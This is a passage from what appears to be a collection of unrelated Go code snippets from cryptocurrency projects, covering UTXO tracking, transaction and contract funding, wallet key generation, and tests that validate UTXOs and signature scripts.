nil\n}", "func isUnspendable(o *wire.TxOut) bool {\n\tswitch {\n\tcase len(o.PkScript) > 10000: //len 0 is OK, spendable\n\t\treturn true\n\tcase len(o.PkScript) > 0 && o.PkScript[0] == 0x6a: // OP_RETURN is 0x6a\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}", "func (tb *transactionBuilder) FundContract(amount types.Currency) ([]types.SiacoinOutput, error) {\n\t// dustThreshold has to be obtained separate from the lock\n\tdustThreshold, err := tb.wallet.DustThreshold()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttb.wallet.mu.Lock()\n\tdefer tb.wallet.mu.Unlock()\n\n\tconsensusHeight, err := dbGetConsensusHeight(tb.wallet.dbTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tso, err := tb.wallet.getSortedOutputs()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar fund types.Currency\n\t// potentialFund tracks the balance of the wallet including outputs that\n\t// have been spent in other unconfirmed transactions recently. This is to\n\t// provide the user with a more useful error message in the event that they\n\t// are overspending.\n\tvar potentialFund types.Currency\n\tvar spentScoids []types.SiacoinOutputID\n\tfor i := range so.ids {\n\t\tscoid := so.ids[i]\n\t\tsco := so.outputs[i]\n\t\t// Check that the output can be spent.\n\t\tif err := tb.wallet.checkOutput(tb.wallet.dbTx, consensusHeight, scoid, sco, dustThreshold); err != nil {\n\t\t\tif err == errSpendHeightTooHigh {\n\t\t\t\tpotentialFund = potentialFund.Add(sco.Value)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tkey, ok := tb.wallet.keys[sco.UnlockHash]\n\t\tif !ok {\n\t\t\treturn nil, errMissingOutputKey\n\t\t}\n\n\t\t// Add a siacoin input for this output.\n\t\tsci := types.SiacoinInput{\n\t\t\tParentID: scoid,\n\t\t\tUnlockConditions: key.UnlockConditions,\n\t\t}\n\t\ttb.siacoinInputs = append(tb.siacoinInputs, len(tb.transaction.SiacoinInputs))\n\t\ttb.transaction.SiacoinInputs = append(tb.transaction.SiacoinInputs, sci)\n\t\tspentScoids = append(spentScoids, scoid)\n\n\t\t// Add the output to the total fund\n\t\tfund = fund.Add(sco.Value)\n\t\tpotentialFund = potentialFund.Add(sco.Value)\n\t\tif fund.Cmp(amount) >= 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\tif potentialFund.Cmp(amount) >= 0 && fund.Cmp(amount) < 0 {\n\t\treturn nil, modules.ErrIncompleteTransactions\n\t}\n\tif fund.Cmp(amount) < 0 {\n\t\treturn nil, modules.ErrLowBalance\n\t}\n\tvar refundOutput types.SiacoinOutput\n\n\t// Create a refund output if needed.\n\tif !amount.Equals(fund) {\n\t\trefundUnlockConditions, err := tb.wallet.nextPrimarySeedAddress(tb.wallet.dbTx)\n\t\tif err != nil {\n\t\t\trefundUnlockConditions, err = tb.wallet.GetAddress() // try get address if generate address failed when funding contracts\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\trefundOutput = types.SiacoinOutput{\n\t\t\tValue: fund.Sub(amount),\n\t\t\tUnlockHash: refundUnlockConditions.UnlockHash(),\n\t\t}\n\t\ttb.transaction.SiacoinOutputs = append(tb.transaction.SiacoinOutputs, refundOutput)\n\t}\n\n\t// Mark all outputs that were spent as spent.\n\tfor _, scoid := range spentScoids {\n\t\terr = dbPutSpentOutput(tb.wallet.dbTx, types.OutputID(scoid), consensusHeight)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn []types.SiacoinOutput{refundOutput}, nil\n}", "func (serv *ExchangeServer) GetCoin(ct string) (coin.Gateway, error) {\n\tc, ok := serv.coins[ct]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"%s coin is not supported\", ct)\n\t}\n\treturn c, nil\n}", "func (tb *transactionBuilder) AddCoinInput(input types.CoinInput) uint64 {\n\ttb.transaction.CoinInputs = append(tb.transaction.CoinInputs, input)\n\treturn uint64(len(tb.transaction.CoinInputs) - 1)\n}", "func (u *UTXOSet) Update(block *Block) {\n\tdb := u.Blockchain.Database\n\n\terr := db.Update(func(txn *badger.Txn) error {\n\t\t// iterate through each transaction\n\t\tfor _, tx := range block.Transactions {\n\t\t\tif !tx.IsCoinbase() {\n\t\t\t\t// iterate through each input\n\t\t\t\tfor _, in := range tx.Inputs {\n\t\t\t\t\t// create an output for each input\n\t\t\t\t\tupdatedOuts := TxOutputs{}\n\t\t\t\t\t// take the id of the input and add the prefix to it\n\t\t\t\t\tinID := append(utxoPrefix, in.ID...)\n\t\t\t\t\t// get the value of the input from the db\n\t\t\t\t\titem, err := txn.Get(inID)\n\t\t\t\t\thandle(err)\n\t\t\t\t\tv := valueHash(item)\n\n\t\t\t\t\t// deserialixe the output value\n\t\t\t\t\touts := DeserializeOutputs(v)\n\n\t\t\t\t\t// iterate through each output\n\t\t\t\t\tfor outIdx, out := range outs.Outputs {\n\t\t\t\t\t\t// if the output is not attached to the input then we know it is unspent.. add it to the updated outputs\n\t\t\t\t\t\tif outIdx != in.Out {\n\t\t\t\t\t\t\tupdatedOuts.Outputs = append(updatedOuts.Outputs, out)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif len(updatedOuts.Outputs) == 0 {\n\t\t\t\t\t\t// if there are no unspent outputs, then get rid of the utxo transaction ids\n\t\t\t\t\t\tif err := txn.Delete(inID); err != nil {\n\t\t\t\t\t\t\tlog.Panic(err)\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// save the unspent outputs with the utxo prefixed transaction id\n\t\t\t\t\t\tif err := txn.Set(inID, updatedOuts.Serialize()); err != nil {\n\t\t\t\t\t\t\tlog.Panic(err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// account for coinbase transactions in the block, they will always be unspent\n\t\t\tnewOutputs := TxOutputs{}\n\t\t\tfor _, out := range tx.Outputs {\n\t\t\t\tnewOutputs.Outputs = append(newOutputs.Outputs, out)\n\t\t\t}\n\n\t\t\ttxID := append(utxoPrefix, tx.ID...)\n\t\t\tif err := txn.Set(txID, newOutputs.Serialize()); err != nil {\n\t\t\t\tlog.Panic(err)\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t})\n\thandle(err)\n}", "func TestUTXOs(t *testing.T) {\n\t// The various UTXO types to check:\n\t// 1. A valid UTXO in a mempool transaction\n\t// 2. A valid UTXO in a mined\n\t// 3. A UTXO that is invalid because it is non-existent\n\t// 4. A UTXO that is invalid because it has the wrong script type\n\t// 5. A UTXO that becomes invalid in a reorg\n\t// 6. A UTXO with a pay-to-script-hash for a 1-of-2 multisig redeem script\n\t// 7. A UTXO with a pay-to-script-hash for a 2-of-2 multisig redeem script\n\t// 8. A UTXO spending a pay-to-witness-pubkey-hash (P2WPKH) script.\n\t// 9. A UTXO spending a pay-to-witness-script-hash (P2WSH) 2-of-2 multisig\n\t// redeem script\n\t// 10. A UTXO from a coinbase transaction, before and after maturing.\n\n\t// Create a Backend with the test node.\n\tbtc, shutdown := testBackend(false)\n\tdefer shutdown()\n\n\t// The vout will be randomized during reset.\n\tconst txHeight = uint32(50)\n\n\t// A general reset function that clears the testBlockchain and the blockCache.\n\treset := func() {\n\t\tbtc.blockCache.mtx.Lock()\n\t\tdefer btc.blockCache.mtx.Unlock()\n\t\tcleanTestChain()\n\t\tnewBC := newBlockCache()\n\t\tbtc.blockCache.blocks = newBC.blocks\n\t\tbtc.blockCache.mainchain = newBC.mainchain\n\t\tbtc.blockCache.best = newBC.best\n\t}\n\n\t// CASE 1: A valid UTXO in a mempool transaction\n\treset()\n\ttxHash := randomHash()\n\tblockHash := randomHash()\n\tmsg := testMakeMsgTx(false)\n\t// For a regular test tx, the output is at output index 0. Pass nil for the\n\t// block hash and 0 for the block height and confirmations for a mempool tx.\n\ttxout := testAddTxOut(msg.tx, msg.vout, txHash, nil, 0, 0)\n\t// Set the value for this one.\n\ttxout.Value = 5.0\n\t// There is no block info to add, since this is a mempool transaction\n\tutxo, err := btc.utxo(txHash, msg.vout, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"case 1 - unexpected error: %v\", err)\n\t}\n\t// While we're here, check the spend script size and value are correct.\n\tscriptSize := utxo.SpendSize()\n\twantScriptSize := uint32(dexbtc.TxInOverhead + 1 + dexbtc.RedeemP2PKHSigScriptSize)\n\tif scriptSize != wantScriptSize {\n\t\tt.Fatalf(\"case 1 - unexpected spend script size reported. expected %d, got %d\", wantScriptSize, scriptSize)\n\t}\n\tif utxo.Value() != 500_000_000 {\n\t\tt.Fatalf(\"case 1 - unexpected output value. expected 500,000,000, got %d\", utxo.Value())\n\t}\n\t// Now \"mine\" the transaction.\n\ttestAddBlockVerbose(blockHash, nil, 1, txHeight)\n\t// Overwrite the test blockchain transaction details.\n\ttestAddTxOut(msg.tx, 0, txHash, blockHash, int64(txHeight), 1)\n\t// \"mining\" the block should cause a reorg.\n\tconfs, err := utxo.Confirmations(context.Background())\n\tif err != nil {\n\t\tt.Fatalf(\"case 1 - error retrieving confirmations after transaction \\\"mined\\\": %v\", err)\n\t}\n\tif confs != 1 {\n\t\t// The confirmation count is not taken from the wire.TxOut.Confirmations,\n\t\t// so check that it is correctly calculated based on height.\n\t\tt.Fatalf(\"case 1 - expected 1 confirmation after mining transaction, found %d\", confs)\n\t}\n\t// Make sure the pubkey spends the output.\n\terr = utxo.Auth([][]byte{msg.auth.pubkey}, [][]byte{msg.auth.sig}, msg.auth.msg)\n\tif err != nil {\n\t\tt.Fatalf(\"case 1 - Auth error: %v\", err)\n\t}\n\n\t// CASE 2: A valid UTXO in a mined block. This UTXO will have non-zero\n\t// confirmations, a valid pkScipt\n\treset()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\ttxHash = randomHash()\n\tmsg = testMakeMsgTx(false)\n\ttestAddTxOut(msg.tx, msg.vout, txHash, blockHash, int64(txHeight), 1)\n\tutxo, err = btc.utxo(txHash, msg.vout, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"case 2 - unexpected error: %v\", err)\n\t}\n\terr = utxo.Auth([][]byte{msg.auth.pubkey}, [][]byte{msg.auth.sig}, msg.auth.msg)\n\tif err != nil {\n\t\tt.Fatalf(\"case 2 - Auth error: %v\", err)\n\t}\n\n\t// CASE 3: A UTXO that is invalid because it is non-existent\n\treset()\n\t_, err = btc.utxo(randomHash(), 0, nil)\n\tif err == nil {\n\t\tt.Fatalf(\"case 3 - received no error for a non-existent UTXO\")\n\t}\n\n\t// CASE 4: A UTXO that is invalid because it has the wrong script type.\n\treset()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\ttxHash = randomHash()\n\tmsg = testMakeMsgTx(false)\n\t// make the script nonsense.\n\tmsg.tx.TxOut[0].PkScript = []byte{0x00, 0x01, 0x02, 0x03}\n\ttestAddTxOut(msg.tx, msg.vout, txHash, blockHash, int64(txHeight), 1)\n\t_, err = btc.utxo(txHash, msg.vout, nil)\n\tif err == nil {\n\t\tt.Fatalf(\"case 4 - received no error for a UTXO with wrong script type\")\n\t}\n\n\t// CASE 5: A UTXO that becomes invalid in a reorg\n\treset()\n\ttxHash = randomHash()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\tmsg = testMakeMsgTx(false)\n\ttestAddTxOut(msg.tx, msg.vout, txHash, blockHash, int64(txHeight), 1)\n\tutxo, err = btc.utxo(txHash, msg.vout, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"case 5 - received error for utxo\")\n\t}\n\t_, err = utxo.Confirmations(context.Background())\n\tif err != nil {\n\t\tt.Fatalf(\"case 5 - received error before reorg\")\n\t}\n\ttestAddBlockVerbose(nil, nil, 1, txHeight)\n\t// Remove the txout from the blockchain, since bitcoind would no longer\n\t// return it.\n\ttestDeleteTxOut(txHash, msg.vout)\n\ttime.Sleep(blockPollDelay)\n\t_, err = utxo.Confirmations(context.Background())\n\tif err == nil {\n\t\tt.Fatalf(\"case 5 - received no error for orphaned transaction\")\n\t}\n\t// Now put it back in mempool and check again.\n\ttestAddTxOut(msg.tx, msg.vout, txHash, nil, 0, 0)\n\tconfs, err = utxo.Confirmations(context.Background())\n\tif err != nil {\n\t\tt.Fatalf(\"case 5 - error checking confirmations on orphaned transaction back in mempool: %v\", err)\n\t}\n\tif confs != 0 {\n\t\tt.Fatalf(\"case 5 - expected 0 confirmations, got %d\", confs)\n\t}\n\n\t// CASE 6: A UTXO with a pay-to-script-hash for a 1-of-2 multisig redeem\n\t// script\n\treset()\n\ttxHash = randomHash()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\tmsgMultiSig := testMsgTxP2SHMofN(1, 2, false)\n\ttestAddTxOut(msgMultiSig.tx, msgMultiSig.vout, txHash, blockHash, int64(txHeight), 1)\n\t// First try to get the UTXO without providing the raw script.\n\t_, err = btc.utxo(txHash, msgMultiSig.vout, nil)\n\tif err == nil {\n\t\tt.Fatalf(\"no error thrown for p2sh utxo when no script was provided\")\n\t}\n\t// Now provide the script.\n\tutxo, err = btc.utxo(txHash, msgMultiSig.vout, msgMultiSig.script)\n\tif err != nil {\n\t\tt.Fatalf(\"case 6 - received error for utxo: %v\", err)\n\t}\n\tconfs, err = utxo.Confirmations(context.Background())\n\tif err != nil {\n\t\tt.Fatalf(\"case 6 - error getting confirmations: %v\", err)\n\t}\n\tif confs != 1 {\n\t\tt.Fatalf(\"case 6 - expected 1 confirmation, got %d\", confs)\n\t}\n\terr = utxo.Auth(msgMultiSig.auth.pubkeys[:1], msgMultiSig.auth.sigs[:1], msgMultiSig.auth.msg)\n\tif err != nil {\n\t\tt.Fatalf(\"case 6 - Auth error: %v\", err)\n\t}\n\n\t// CASE 7: A UTXO with a pay-to-script-hash for a 2-of-2 multisig redeem\n\t// script\n\treset()\n\ttxHash = randomHash()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\tmsgMultiSig = testMsgTxP2SHMofN(2, 2, false)\n\ttestAddTxOut(msgMultiSig.tx, msgMultiSig.vout, txHash, blockHash, int64(txHeight), 1)\n\tutxo, err = btc.utxo(txHash, msgMultiSig.vout, msgMultiSig.script)\n\tif err != nil {\n\t\tt.Fatalf(\"case 7 - received error for utxo: %v\", err)\n\t}\n\t// Try to get by with just one of the pubkeys.\n\terr = utxo.Auth(msgMultiSig.auth.pubkeys[:1], msgMultiSig.auth.sigs[:1], msgMultiSig.auth.msg)\n\tif err == nil {\n\t\tt.Fatalf(\"case 7 - no error when only provided one of two required pubkeys\")\n\t}\n\t// Now do both.\n\terr = utxo.Auth(msgMultiSig.auth.pubkeys, msgMultiSig.auth.sigs, msgMultiSig.auth.msg)\n\tif err != nil {\n\t\tt.Fatalf(\"case 7 - Auth error: %v\", err)\n\t}\n\n\t// CASE 8: A UTXO spending a pay-to-witness-pubkey-hash (P2WPKH) script.\n\treset()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\ttxHash = randomHash()\n\tmsg = testMakeMsgTx(true) // true - P2WPKH at vout 0\n\ttestAddTxOut(msg.tx, msg.vout, txHash, blockHash, int64(txHeight), 1)\n\tutxo, err = btc.utxo(txHash, msg.vout, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"case 8 - unexpected error: %v\", err)\n\t}\n\t// Check that the segwit flag is set.\n\tif !utxo.scriptType.IsSegwit() {\n\t\tt.Fatalf(\"case 8 - script type parsed as non-segwit\")\n\t}\n\terr = utxo.Auth([][]byte{msg.auth.pubkey}, [][]byte{msg.auth.sig}, msg.auth.msg)\n\tif err != nil {\n\t\tt.Fatalf(\"case 8 - Auth error: %v\", err)\n\t}\n\n\t// CASE 9: A UTXO spending a pay-to-witness-script-hash (P2WSH) 2-of-2\n\t// multisig redeem script\n\treset()\n\ttxHash = randomHash()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\tmsgMultiSig = testMsgTxP2SHMofN(2, 2, true)\n\ttestAddTxOut(msgMultiSig.tx, msgMultiSig.vout, txHash, blockHash, int64(txHeight), 1)\n\tutxo, err = btc.utxo(txHash, msgMultiSig.vout, msgMultiSig.script)\n\tif err != nil {\n\t\tt.Fatalf(\"case 9 - received error for utxo: %v\", err)\n\t}\n\t// Check that the script is flagged segwit\n\tif !utxo.scriptType.IsSegwit() {\n\t\tt.Fatalf(\"case 9 - script type parsed as non-segwit\")\n\t}\n\t// Try to get by with just one of the pubkeys.\n\terr = utxo.Auth(msgMultiSig.auth.pubkeys[:1], msgMultiSig.auth.sigs[:1], msgMultiSig.auth.msg)\n\tif err == nil {\n\t\tt.Fatalf(\"case 9 - no error when only provided one of two required pubkeys\")\n\t}\n\t// Now do both.\n\terr = utxo.Auth(msgMultiSig.auth.pubkeys, msgMultiSig.auth.sigs, msgMultiSig.auth.msg)\n\tif err != nil {\n\t\tt.Fatalf(\"case 9 - Auth error: %v\", err)\n\t}\n\n\t// CASE 10: A UTXO from a coinbase transaction, before and after maturing.\n\treset()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\ttxHash = randomHash()\n\tmsg = testMakeMsgTx(false)\n\ttxOut := testAddTxOut(msg.tx, msg.vout, txHash, blockHash, int64(txHeight), 1)\n\ttxOut.Coinbase = true\n\t_, err = btc.utxo(txHash, msg.vout, nil)\n\tif err == nil {\n\t\tt.Fatalf(\"case 10 - no error for immature transaction\")\n\t}\n\tif !errors.Is(err, immatureTransactionError) {\n\t\tt.Fatalf(\"case 10 - expected immatureTransactionError, got: %v\", err)\n\t}\n\t// Mature the transaction\n\tmaturity := uint32(testParams.CoinbaseMaturity)\n\ttestAddBlockVerbose(nil, nil, 1, txHeight+maturity-1)\n\ttxOut.Confirmations = int64(maturity)\n\ttime.Sleep(blockPollDelay)\n\t_, err = btc.utxo(txHash, msg.vout, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"case 10 - unexpected error after maturing: %v\", err)\n\t}\n\n\t// CASE 11: A swap contract\n\tval := int64(5)\n\tcleanTestChain()\n\ttxHash = randomHash()\n\tblockHash = randomHash()\n\tswap := testMsgTxSwapInit(val, btc.segwit)\n\ttestAddBlockVerbose(blockHash, nil, 1, txHeight)\n\tbtcVal := btcutil.Amount(val).ToBTC()\n\ttestAddTxOut(swap.tx, 0, txHash, blockHash, int64(txHeight), 1).Value = btcVal\n\tverboseTx := testChain.txRaws[*txHash]\n\n\tspentTxHash := randomHash()\n\tverboseTx.Vin = append(verboseTx.Vin, testVin(spentTxHash, 0))\n\t// We need to add that transaction to the blockchain too, because it will\n\t// be requested for the previous outpoint value.\n\tspentMsg := testMakeMsgTx(false)\n\tspentTx := testAddTxVerbose(spentMsg.tx, spentTxHash, blockHash, 2)\n\tspentTx.Vout = []btcjson.Vout{testVout(1, nil)}\n\tswapOut := swap.tx.TxOut[0]\n\tbtcVal = btcutil.Amount(swapOut.Value).ToBTC()\n\tverboseTx.Vout = append(verboseTx.Vout, testVout(btcVal, swapOut.PkScript))\n\tutxo, err = btc.utxo(txHash, 0, swap.contract)\n\tif err != nil {\n\t\tt.Fatalf(\"case 11 - received error for utxo: %v\", err)\n\t}\n\n\tcontract := &Contract{Output: utxo.Output}\n\n\t// Now try again with the correct vout.\n\terr = btc.auditContract(contract) // sets refund and swap addresses\n\tif err != nil {\n\t\tt.Fatalf(\"case 11 - unexpected error auditing contract: %v\", err)\n\t}\n\tif contract.SwapAddress() != swap.recipient.String() {\n\t\tt.Fatalf(\"case 11 - wrong recipient. wanted '%s' got '%s'\", contract.SwapAddress(), swap.recipient.String())\n\t}\n\tif contract.RefundAddress() != swap.refund.String() {\n\t\tt.Fatalf(\"case 11 - wrong recipient. wanted '%s' got '%s'\", contract.RefundAddress(), swap.refund.String())\n\t}\n\tif contract.Value() != 5 {\n\t\tt.Fatalf(\"case 11 - unexpected output value. wanted 5, got %d\", contract.Value())\n\t}\n}", "func GenerateSaveCoinKey(\n\tkeybase keyring.Keyring,\n\tkeyName, mnemonic string,\n\toverwrite bool,\n\talgo keyring.SignatureAlgo,\n) (sdk.AccAddress, string, error) {\n\texists := false\n\t_, err := keybase.Key(keyName)\n\tif err == nil {\n\t\texists = true\n\t}\n\n\t// ensure no overwrite\n\tif !overwrite && exists {\n\t\treturn sdk.AccAddress{}, \"\", fmt.Errorf(\"key already exists, overwrite is disabled\")\n\t}\n\n\tif exists {\n\t\tif err := keybase.Delete(keyName); err != nil {\n\t\t\treturn sdk.AccAddress{}, \"\", fmt.Errorf(\"failed to overwrite key\")\n\t\t}\n\t}\n\n\tvar (\n\t\trecord *keyring.Record\n\t\tsecret string\n\t)\n\n\t// generate or recover a new account\n\tif mnemonic != \"\" {\n\t\tsecret = mnemonic\n\t\trecord, err = keybase.NewAccount(keyName, mnemonic, keyring.DefaultBIP39Passphrase, sdk.GetConfig().GetFullBIP44Path(), algo)\n\t} else {\n\t\trecord, secret, err = keybase.NewMnemonic(keyName, keyring.English, sdk.GetConfig().GetFullBIP44Path(), keyring.DefaultBIP39Passphrase, algo)\n\t}\n\tif err != nil {\n\t\treturn sdk.AccAddress{}, \"\", err\n\t}\n\n\taddr, err := record.GetAddress()\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\treturn addr, secret, nil\n}", "func (dcr *DCRBackend) getUnspentTxOut(txHash *chainhash.Hash, vout uint32) (*chainjson.GetTxOutResult, []byte, error) {\n\ttxOut, err := dcr.node.GetTxOut(txHash, vout, true)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"GetTxOut error for output %s:%d: %v\", txHash, vout, err)\n\t}\n\tif txOut == nil {\n\t\treturn nil, nil, fmt.Errorf(\"UTXO - no unspent txout found for %s:%d\", txHash, vout)\n\t}\n\tpkScript, err := hex.DecodeString(txOut.ScriptPubKey.Hex)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"failed to decode pubkey script from '%s' for output %s:%d\", txOut.ScriptPubKey.Hex, txHash, vout)\n\t}\n\treturn txOut, pkScript, nil\n}", "func (u UTXOSet) FindSpendableOutputs(pubKeyHash []byte, amount int) (int, map[string][]int) {\n\tunspentOuts := make(map[string][]int)\n\taccumulated := 0\n\n\tdb := u.Blockchain.Database\n\n\terr := db.View(func(txn *badger.Txn) error {\n\t\topts := badger.DefaultIteratorOptions\n\t\tit := txn.NewIterator(opts)\n\t\tdefer it.Close()\n\n\t\t// iterate through each prefix key\n\t\tfor it.Seek(utxoPrefix); it.ValidForPrefix(utxoPrefix); it.Next() {\n\t\t\titem := it.Item()\n\t\t\tk := item.Key()\n\t\t\tv := valueHash(item)\n\n\t\t\tk = bytes.TrimPrefix(k, utxoPrefix)\n\t\t\ttxID := hex.EncodeToString(k)\n\n\t\t\t// get the outputs of the id\n\t\t\touts := DeserializeOutputs(v)\n\n\t\t\t// iterate through transaction outputs\n\t\t\tfor outIdx, out := range outs.Outputs {\n\t\t\t\t// make sure a transaction cannot be made where a user does not have enough tokens\n\t\t\t\tif out.IsLockedWithKey(pubKeyHash) && accumulated < amount {\n\t\t\t\t\taccumulated += out.Value\n\t\t\t\t\tunspentOuts[txID] = append(unspentOuts[txID], outIdx)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\n\thandle(err)\n\treturn accumulated, unspentOuts\n}", "func (e *Ethereum) Coinbase() (string, error) {\n\tvar resAddr string\n\terr := e.rpcClient.CallContext(e.ctx, &resAddr, \"eth_coinbase\")\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"fail to call rpc.CallContext(eth_coinbase)\")\n\t}\n\treturn resAddr, err\n}", "func (msg MsgSellAsset) Type() string { return TypeMsgSellAsset }", "func (s *RPCChainIO) GetUtxo(op *wire.OutPoint, pkScript []byte,\n\theightHint uint32, cancel <-chan struct{}) (*wire.TxOut, error) {\n\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\tif s.chain == nil {\n\t\treturn nil, ErrUnconnected\n\t}\n\n\ttxout, err := s.chain.GetTxOut(context.TODO(), &op.Hash, op.Index, op.Tree, false)\n\tif err != nil {\n\t\treturn nil, err\n\t} else if txout == nil {\n\t\treturn nil, ErrOutputSpent\n\t}\n\n\tpkScript, err = hex.DecodeString(txout.ScriptPubKey.Hex)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Sadly, gettxout returns the output value in DCR instead of atoms.\n\tamt, err := dcrutil.NewAmount(txout.Value)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &wire.TxOut{\n\t\tValue: int64(amt),\n\t\tPkScript: pkScript,\n\t}, nil\n}", "func (s *ServiceImpl) processUTXO(utxo UTXO, currentTokens map[string]*big.Int, goalTokens map[string]*big.Int) (string, string) {\n\tpartiallySpent := false\n\tusedUTXO := false\n\tfor i, asset := range utxo.Assets {\n\t\t// do not use lovelace already paired with native tokens\n\t\tif asset.CurrencyID == \"lovelace\" && len(utxo.Assets) != 1 {\n\t\t\tcontinue\n\t\t}\n\n\t\t// check if asset is needed\n\t\tif _, ok := goalTokens[asset.CurrencyID]; !ok {\n\t\t\tcontinue\n\t\t}\n\n\t\t// initialize current token sum\n\t\tif _, ok := currentTokens[asset.CurrencyID]; !ok {\n\t\t\tcurrentTokens[asset.CurrencyID] = big.NewInt(0)\n\t\t}\n\n\t\t// check if asset quantity has been met\n\t\tif goalTokens[asset.CurrencyID].Cmp(currentTokens[asset.CurrencyID]) == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tamountToUse := big.NewInt(0).Sub(goalTokens[asset.CurrencyID], currentTokens[asset.CurrencyID])\n\t\tswitch asset.Quantity.Cmp(amountToUse) {\n\t\tcase -1:\n\t\t\t// cannot spend more than what is in UTXO\n\t\t\tamountToUse = asset.Quantity\n\t\tcase 1:\n\t\t\t// UTXO is partially spent\n\t\t\tpartiallySpent = true\n\t\tcase 0:\n\t\t\t// exact\n\t\t}\n\n\t\t// subtract and add used quantity\n\t\tutxo.Assets[i].Quantity = big.NewInt(0).Sub(utxo.Assets[i].Quantity, amountToUse)\n\t\tcurrentTokens[asset.CurrencyID] = big.NewInt(0).Add(currentTokens[asset.CurrencyID], amountToUse)\n\t\tusedUTXO = true\n\n\t\t// ada must be leftover from spent native tokens\n\t\tif len(utxo.Assets) != 1 {\n\t\t\tpartiallySpent = true\n\t\t}\n\t}\n\n\t// if UTXO is only partially spent, need a new --tx-out\n\ttxOut := \"\"\n\tif partiallySpent {\n\t\ttxOut = s.hotWalletAddress\n\t\tfor _, asset := range utxo.Assets {\n\t\t\t// quantity > 0\n\t\t\tif asset.Quantity.Cmp(big.NewInt(0)) == 1 {\n\t\t\t\ttxOut = fmt.Sprintf(\"%s + %d %s\", txOut, asset.Quantity, asset.CurrencyID)\n\t\t\t}\n\t\t}\n\t}\n\n\t// spend the UTXO\n\ttxIn := \"\"\n\tif usedUTXO {\n\t\ttxIn = utxo.TXID\n\t}\n\n\treturn txIn, txOut\n}", "func (dcr *ExchangeWallet) convertCoin(coin asset.Coin) (*output, error) {\n\top, _ := coin.(*output)\n\tif op != nil {\n\t\treturn op, nil\n\t}\n\ttxHash, vout, err := decodeCoinID(coin.ID())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttxOut, err := dcr.node.GetTxOut(dcr.ctx, txHash, vout, true)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error finding unspent output %s:%d: %w\", txHash, vout, translateRPCCancelErr(err))\n\t}\n\tif txOut == nil {\n\t\treturn nil, asset.CoinNotFoundError\n\t}\n\tpkScript, err := hex.DecodeString(txOut.ScriptPubKey.Hex)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttree := wire.TxTreeRegular\n\tif dexdcr.IsStakePubkeyHashScript(pkScript) || dexdcr.IsStakeScriptHashScript(pkScript) {\n\t\ttree = wire.TxTreeStake\n\t}\n\treturn newOutput(txHash, vout, coin.Value(), tree), nil\n}", "func TestSignatureScript(t *testing.T) {\n\tt.Parallel()\n\n\tprivKey, _ := btcec.PrivKeyFromBytes(btcec.S256(), privKeyD)\n\nnexttest:\n\tfor i := range SigScriptTests {\n\t\ttx := wire.NewMsgTx()\n\n\t\toutput := wire.NewTxOut(500, []byte{txscript.OP_RETURN})\n\t\ttx.AddTxOut(output)\n\n\t\tfor _ = range SigScriptTests[i].inputs {\n\t\t\ttxin := wire.NewTxIn(coinbaseOutPoint, nil)\n\t\t\ttx.AddTxIn(txin)\n\t\t}\n\n\t\tvar script []byte\n\t\tvar err error\n\t\tfor j := range tx.TxIn {\n\t\t\tvar idx int\n\t\t\tif SigScriptTests[i].inputs[j].indexOutOfRange {\n\t\t\t\tt.Errorf(\"at test %v\", SigScriptTests[i].name)\n\t\t\t\tidx = len(SigScriptTests[i].inputs)\n\t\t\t} else {\n\t\t\t\tidx = j\n\t\t\t}\n\t\t\tscript, err = txscript.SignatureScript(tx, idx,\n\t\t\t\tSigScriptTests[i].inputs[j].txout.PkScript,\n\t\t\t\tSigScriptTests[i].hashType, privKey,\n\t\t\t\tSigScriptTests[i].compress)\n\n\t\t\tif (err == nil) != SigScriptTests[i].inputs[j].sigscriptGenerates {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Errorf(\"passed test '%v' incorrectly\",\n\t\t\t\t\t\tSigScriptTests[i].name)\n\t\t\t\t} else {\n\t\t\t\t\tt.Errorf(\"failed test '%v': %v\",\n\t\t\t\t\t\tSigScriptTests[i].name, err)\n\t\t\t\t}\n\t\t\t\tcontinue nexttest\n\t\t\t}\n\t\t\tif !SigScriptTests[i].inputs[j].sigscriptGenerates {\n\t\t\t\t// done with this test\n\t\t\t\tcontinue 